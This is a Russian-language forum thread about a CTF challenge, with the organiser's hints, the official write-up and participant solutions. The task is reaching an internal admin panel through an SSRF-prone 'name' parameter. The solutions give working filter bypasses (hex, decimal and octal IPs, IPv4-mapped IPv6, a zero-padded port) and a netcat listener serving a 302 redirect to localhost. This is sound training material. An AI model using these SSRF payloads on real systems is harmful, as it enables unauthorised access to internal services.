ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.io/forumdisplay.php?f=112)
-   -   Task #11 (https://forum.antichat.io/showthread.php?t=476893)

Baskin-Robbins 25.04.2020 21:00

В продолжние темы простых разминочных заданий.

Задача добраться до админки и получить флаг.

Настройки сайта дефолтные.

Кое-что скрыто. Но брутить и сканить ничего не надо.

Щепотка внимательности и смекалки расставит все по своим местам.

Правила:

Цитата:

Сообщение от None
В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.

Срок:

Цитата:

Сообщение от None
Две недели.

Таргет:

Цитата:

Сообщение от None

Всем удачи!

Scoreboard:

@gurux13 1,2


@Franky_T 1

@joelblack 1

@manfromkz 1,2


Прохождение

Baskin-Robbins 27.04.2020 09:57

Небольшое уточнение - админку не прятали глубоко.

Она на поверхности, нужно внимательно посмотреть на задание.

И что-то должно подсказать, как ее найти.

Но админка - это одна из двух частей задачи. Простое нахождение ее ничего не даст.

Поэтому начинать необязательно с нее.

Baskin-Robbins 27.04.2020 23:24

Наверное следует сделать еще одно уточнение.

Найти админку != получить к ней доступ.

Нахождение админки - часть задания.

Получение доступа к ней - цель задания. Флаг в ней.

Baskin-Robbins 28.04.2020 01:02

Немного о способах прохождения.

Таск задумывался с одним способом прохождения, несмотря на то что окончательных пэйлоадов много.

@gurux13 выкатил еще один, достаточно интересный на мой взгляд.

Я надеюсь по окончанию таска он с нами им поделится.

Ну и всвязи с вновь открывшимися обстоятельствами этот вариант принимается тоже.

Итог: задача имеет два варианта решения.

Unknown 28.04.2020 01:59

Судя по всему, я нашёл оба

Надо сказать, что первое найденное мной решение немного сложнее решения №1.

Спасибо за таск! Временами я чувствовал себя котом, который сидит и смотрит на мышиную нору. Залитую бетоном.

Franky_T 28.04.2020 16:11

Огонь таск) много неожиданного по дороге узнается)

Спасибо!

joelblack 28.04.2020 17:42

Спасибо за таск, открыл для себя некоторые новые моменты)

Baskin-Robbins 30.04.2020 19:32

1) Админка

Мы с этим сталкивались, мы все это знаем.

Встречается как на самописах, так и в CMS.

И проверять это очень важно на самописах, на CMS и так знаем.

2) Фильтр

Байпас фильтра состоит из двух частей.

Определить прошел/не прошел фильтр для каждой части не сложно, все на виду.

И на мой взгляд проще работать с каждой частью по отдельности.

Baskin-Robbins 01.05.2020 20:34

Наверное сделаю последнюю подсказку по поиску админки.

Кое-что лишнее. И это кое-что должно

Цитата:

Сообщение от Baskin-Robbins

подсказать, как ее найти.


Baskin-Robbins 02.05.2020 19:58

Заметил некоторые сложности с нахождением админки.

Наверное на этом моменте не цепляется глаз за то что нужно.

После выходных скину путь, оставим еще немного времени для тех кто хочет самостоятельно найти её.

manfromkz 04.05.2020 18:20

Отличный таск! Спасибо @Baskin-Robbins

Baskin-Robbins 04.05.2020 23:38

Админка

http://task.antichat.com:1111/tpl_admin/

Baskin-Robbins 10.05.2020 18:13

Нам предлагается получить доступ к административной панели,

в которой находится заветный флаг. Взглянем на задание.

Блог ИБ тематики.

Тем кто участвовал в предыдущих тасках наверняка в глаза бросился порт на котором

запущенно задание. Он четырехзначный(1111), вместо привычных пятизначных.

С чем это связано мы пока не знаем, поэтому просто держим в уме и продолжим изучать задание.

Посмотрим в сорцы.

Тут нас встречает title с заверением, что ничего необычного мы здесь не найдем.

15 ссылок на контент блога и, наверное, знакомые многим как минимум по ctf.antichat.com,

скрипты. Возможно поэтому не все на них обратили внимание.

Ну что ж, время пришло.

Наше внимание должен привлечь единственный, лежащий локально, скрипт tpl_style.min.js.

Ниже него расположен еще один бутстрап скрипт, но лежит он удаленно.

Посмотрим содержимое обоих скриптов... Они идентичны.

Возникает вопрос - зачем подгружаются два идентичных скрипта, причем один положили

локально? И как нам это может помочь?

Тут необходимо заострить внимание на имени локального скрипта. Ведь неспроста его назвали

tpl_style, а не просто style. И это подталкивает нас на мысль о том, что если имеется один

файл с префиксом, почему не может быть и других? Учитывая необходимость найти админку,

можно и попробовать.

Так как в задании указано, что пройти можно без брута, предполагаем одно из "стандартных"

имен админки - login, admin, administrator. Добавляем к ним префикс и находим верный

вариант - директорию tpl_admin с кодом ответа 403. Попытка обратиться к предполагаемым

скриптам внутри - index.php admin.php login.php administrator.php возвращает нам тот же 403.

.SpoilerTarget" type="button">Spoiler: Немного мыслей
Вообще необязательно сравнивать содержимое бутстраповских скриптов.

Тут немного иная идея.

Встречается использование "своих" префиксов на самописных сайтах для имен файлов и

директорий. Например target.com --> tgt_style.css, tgt_image и так далее,

ассоциируя префикс с доменом, хотя условие необязательное.

Определить префикс можно по css, js файлам в сорцах. Как

правило, располагаются они локально, либо загружаются с доверенных хостов.

На CMS, при условии, что сорцы доступны, мы можем просто посмотреть их, скачав(купив) ее.

wp-include, wp-admin мы видели и знаем. Но при blackbox самописного ресурса такая роскошь

недоступна. Поэтому на этот момент, наверное, будет не лишним обратить внимание.

Замечен интересный момент - со "своим" префиксом встречаются не только скрипты и

необходимые для работы приложения файлы, директории.

Встречались бэкапы и старые версии панелей, админок и других интересных вещей

с которыми можно было взаимодействовать, что несло под собой дополнительное

поле для деятельности.

Что касается таска, то оставлять один файл с префиксом показалось слишком простой задачей.

Поэтому было принято решение замаскировать его.

Продолжим изучать наш таргет.

В ссылках на контент блога мы видим параметр 'name' в который мы можем что-то передать.

Повтыкав понимаем, что передаваемые данные фильтруются.

Имеем возможность передавать диапазон символов [a-zA-Z0-9_\:\[\]/].

Пробуем использовать врапперы - доступен только http(s)://.

Далее логичным предположением было попробовать обратиться к таску через эту обертку, но ...

У нас фильтруется точка. Напрашивается вариант с localhost, но не все так просто - он фильтруется.

Тут нам необходимо вспомнить про представления хоста, а если точнее ip адреса,

в различных форматах. Информация эта давно известна, гуглится, поэтому кратко:

1) 127.0.0.0/8 или 0.0.0.0

Тут мешают точки. Мы знаем что 0 можно опускать, т.е. 127.0.0.1 = 127.1

Вариант http://0:1111/ не даст результата.

Есть варианты в восьмеричной и шестнадцатеричной системе, но мешают точки:

0x7f.0x00.0x00.0x01

0177.0.0.01

2) Есть возможность представить IPv4 в hex,dec,oct форматах без точек.

0x7f000001 или 0x0

017700000001 - локалхост получить не удастся, хотя удаленные ресурсы мы получаем.

Пример google.com = 172.217.11.78 = 025466205516

2130706433 - в dec аналогично, получаем только удаленные хосты.

Пример google.com = 172.217.11.78 = 2899905358

3) IPv6

Есть возможность использования(не совсем), на это намекают нефильтруемые квадратные скобки.

Обратится к локалхосту http://[::1] у нас не получится. Но есть возможность отображения

IPv4 в формате IPv6 - [::ffff:127.0.0.1]. Тут опять встает проблема фильтруемых точек.

Но использование hex сводит на нет эту проблему. В итоге получаем http://[::ffff:7f00:1].

Для перевода можно воспользоваться онлайн сервисами, например этим.

Теперь нас встречает вторая проблема - обратившись любым из способов выше к нашему таску,

нас встречает предупреждение фильтра. Фильтр на 1111 порт. Точнее на ":1111".

Тут возможны различные варианты байпаса - 0x09-0x0d, 0x20, 0x30. Для таска оставили один - 0.

.SpoilerTarget" type="button">Spoiler: Решение
http://task.antichat.com:1111/reader...111/tpl_admin/

Unknown 10.05.2020 18:23

Итак, по просьбам - врайтап о втором способе взлома.

Смотрим на URL'ы страниц таска. Пример:

Код:

http://task.antichat.com:1111/reader/index.php?name=info/1
Заметен параметр name,который получает что-то похожее на путь. Давайте попробуем выяснить, что туда можно передать.

Несложным перебором выясняем, что:

- Из врапперов доступен только http://

- Фильтруются все символы, кроме []:_/, причём / не может быть первым.

- Фильтруются localhostи :1111, что намекает на возможное обращение к http://localhost:1111/super-private.

Такое обращение будет локальным для сервера, и некоторые ограничения могут отключиться. Как мы узнаем дальше, так оно и есть.

Сделать ?name=http://localhost:1111/tpl_admin/ нам не даёт фильтрация localhostи :1111.

.SpoilerTarget" type="button">Spoiler
Please, don't it.

English, motherf*cker, do you speak it?

Поскольку нельзя точки, непонятно, как задавать хост. Работает хост task, но он не даёт ничего хорошего, потому что :1111 всё равно не работает. Любопытные результаты по ?name=http://task/. Так я узнал, что на task.antichat.ru/ есть апач без index.(php|html).

Окей, читаем RFC по URI, где написно, что они не одобряют кривые форматы IP-адресов, хоть они и используются, и парсинг IP зависит от реализации. Давайте почитаем, например, ман по inet_aton.Видим, что адреса - это не только четыре октета a.b.c.d, но и даже одно 32-битное число, можно десятичное, шестнадцатеричное или даже восьмеричное.

Применим эту логику к IP, например, гугла: 216.58.206.110, предварительно убедившись, что он вообще открывается по IP.

Код:

216.58.206.110 = D8.3A.CE.6E = 0xD83ACE6E (hex) = 3627732590 (dec) = 033016547156 (oct)
Все помнят, что IP адреса пишутся в прямом порядке байт (big-endian)?

Итак, переходим на http://task.antichat.com:1111/reader...://3627732590/ и видим (кажется, немецкий) гугл. Ура, умеем стучаться наружу. Можно было бы http://033016547156 или http://0xD83ACE6E, все три работают.

.SpoilerTarget" type="button">Spoiler
Любопытно, что мой браузер (Chrome) тоже поддерживает это безобразие. Если кликнуть по ссылкам выше, то откроется гугл. The more you know.

Для IP адреса 127.0.0.1 этот трюк не сработал. Ладно, поищем что-нибудь другое.

Немного читаем код php (брр!) и вспоминаем, что http:// враппер поддерживает редиректы.

То есть, если что-то в интернете нам ответит

Код:

HTTP/1.0 302 Found
Location: SOME_URL

То PHP перейдёт по SOME_URL, если посчитает его безопасным.Обычно безопасные - http(s) / (s)ftp. То есть, можно сделать

Код:

HTTP/1.0 302 Found
Location: http://localhost:1111/tpl_admin/

и сервер перейдёт по редиректу и отдаст нам админку. Там могут быть ограничения на redirect follow, но не попробуешь - не узнаешь.

Давайте же поднимем сервер (где-нибудь), который отдаст то, что сверху. Самое простое - так.

Код:

$ cat redirect
HTTP/1.0 302 Found
Location: http://localhost:1111/tpl_admin/

$ cat redirect | awk 1 ORS='\r\n' | nc -l 12345

awkвыше нужен, чтобы заменить \n на \r\n, в заголовках переносом строки является \r\n.

Переходим на адрес

Код:

http://task.antichat.com:1111/reader/index.php?name=http://:12345/
и видим флаг!

Baskin-Robbins 10.05.2020 18:37

Прохождения участников

.SpoilerTarget" type="button">Spoiler: +++

Цитата:

Сообщение от gurux13

Итого, мой url:
Код:

http://task.antichat.com:1111/reader/index.php?name=http://2995563432:9898/
А сервер отдаёт
Код:

HTTP/1.0 302 Found
Location: http://localhost:1111/tpl_admin/


Цитата:

Сообщение от gurux13

Код:

http://task.antichat.com:1111/reader/index.php?name=http://[::ffff:7f00:1]:01111/tpl_admin/

Цитата:

Сообщение от manfromkz

Привет!
Обходим фильтр с помощью HEX-представления:
Код:

0.0.0.0 => 0x0
http://task.antichat.com:1111/reader/index.php?name=http://0x0:01111/tpl_admin

127.0.0.1 => 0x7f000001
http://task.antichat.com:1111/reader/index.php?name=http://0x7f000001:01111/tpl_admin


Цитата:

Сообщение от manfromkz

Привет!
На своем сервере делаем:
Код:

nc -lvp 1234
Как только запустился nc, пишем туда:
Код:

HTTP/1.1 301 Moved Permanently
Location: http://127.0.0.1:1111/tpl_admin
Connection:close

Превращаем айпи своего сервака в тот же hex и вызываем:
Код:

http://task.antichat.com:1111/reader/index.php?name=http://тут_айпи_в_хекс:1234
Проверил - работает.

Цитата:

Сообщение от joelblack

В итоге нам подходит Hexadecimal IP
Код:

GET /reader/index.php?name=http://0x7F000001:01111/tpl_admin HTTP/1.1[/B]
Host: task.antichat.com:1111

2.Так как нам разрешены : и [], то понимаем что можем использовать ipv6
Link2
Код:

GET /reader/index.php?name=http://[::ffff:7f00:1]:01111/tpl_admin/ HTTP/1.1
Host: task.antichat.com:1111


Цитата:

Сообщение от Franky_T

GET /reader/index.php?name=
http://0x7F000001:01111/tpl_admin
и получаем флаг

Благодарю всех за участие! Таск закрыт.

fandor9 10.05.2020 18:49

Спасибо за таск, читаю прохождение со слезами на глазах с портом стормозил (самое главное знал ведь, что он фильтруется...)

task.antichat.com был видет в футере ошибки, так что вместо localhost срабатывал и http://task/.

И еще я заметил и меня это сильно удивило, что допустим http://task.antichat.com:1111/reader...ame=http://ai/ или http://task.antichat.com:1111/reader...ame=http://dk/ отдавал чужие страницы. Я сначала подумал что RFI, но заветное пхпинфо ничего не дало, а лишь выдало само себя как текст.

Upd:

Ах да, в порывах чувств забыл поблагодарить за таск)) Так что, спасибо, от души!

MichelleBoxing 11.05.2020 10:20

интересный таск, узнал много нового в ходе поиска решения, было очень интересно. Спасибо автору

.SpoilerTarget" type="button">Spoiler
Само решение, оказалось для меня слишком, не логичным что ли...

Админку я бы не нашел сам, поскольку когда пишут, что не нужен никакой брутфорс (то я автоматом исключаю какие то гадания и ищу нечто, что явно должно указывать на искомое, но это моя проблема, уже не в первом таске с этим обжигаюсь )

По фильтру, к сожалению забрел в некуда. Вроде сразу понятно, что врапперы кроме http/s запрещены, локалхост и порт 1111 также.

В сети гуглится,как это обходить, можно обойти адрес через разные представления, пробовал в виде int IP

2130706433 и ipv6 через [::1] не работает ( делаю ошибочный вывод, что это не то...) . Посмотрев решения, не понимаю, почему работает 0x и не работают другие представления, ipv6 еще может быть отключен, но почему не работает 2130706433, это как то не логично, они все же позволяют обойти фильтр (не понятно в чем разница)

пробую через http://task и вроде работает, но нет он открывает и соседние таски и дефолтную страницу apache на task.antichat.com по этому хостнейму (значит это не совсем локалхост и поэтому у меня админка не открывается).

Дальше пробую task11 и вижу, что этот хостнейм работает и дефолтная страница apache с task11.antichat.com не открывается (думаю ну наверное это мой локалхост, но и тут админка не открывается ). В итоге я так и не понял, что это за хостнейм и как он с враппером работает (какая то муть от докера (опять же мои догадки и только) или в таске так предусмотрено.

Тут наступает тупик, потом полазив еще раз и потыкав таск обнаруживаю, что работает редирект на http://task/reader?name=... который исправляет ссылку на http://task/reader/?name=...

Тут первое, что приходит в голову это ssrf, но мешает фильтруемый ? (делаю ошибочный вывод, после подсказки что это вторая часть фильтра, которую нужно обойти, уже пытаюсь найти инфу, как это можно обойти и ничего не нахожу )

Сейчас, посмотрев решение, интерсно, сработает ли двойной редирект, через мой хост (хотя он там уже и не нужен...)

Еще раз спасибо автору, много нового узнал для себя в ходе поиска решения.

Baskin-Robbins 11.05.2020 11:10

Для решения задачки все таки требуется некоторая хакерская смекалка.

Да, зайдет не всем и это логично. Но это тот момент, когда действительно

уравниваются шансы как новичков так и спецов.

По поводу хоста - да, можно было запутаться. Я намекал на другое представление

тем кто присылал полный готовый ответ, но с другим представлением и логичным

вопросом почему же не работает, хотя контент блога отдает.

Здесь наверное важно вынести такой момент - не стоит останавливаться, попробовав

пару вариантов. Пробовать нужно все. Ну а если говорить о логичности работы одного

представления и неработы другого - этот вопрос наверное лучше задать разрабам php.

Для меня было важно чтобы хост был представлен в "непривычном" виде, а какой именно -

на усмотрение проходящих, поэтому и был добавлен вариант с [::ffff:0:0].


Время: 05:35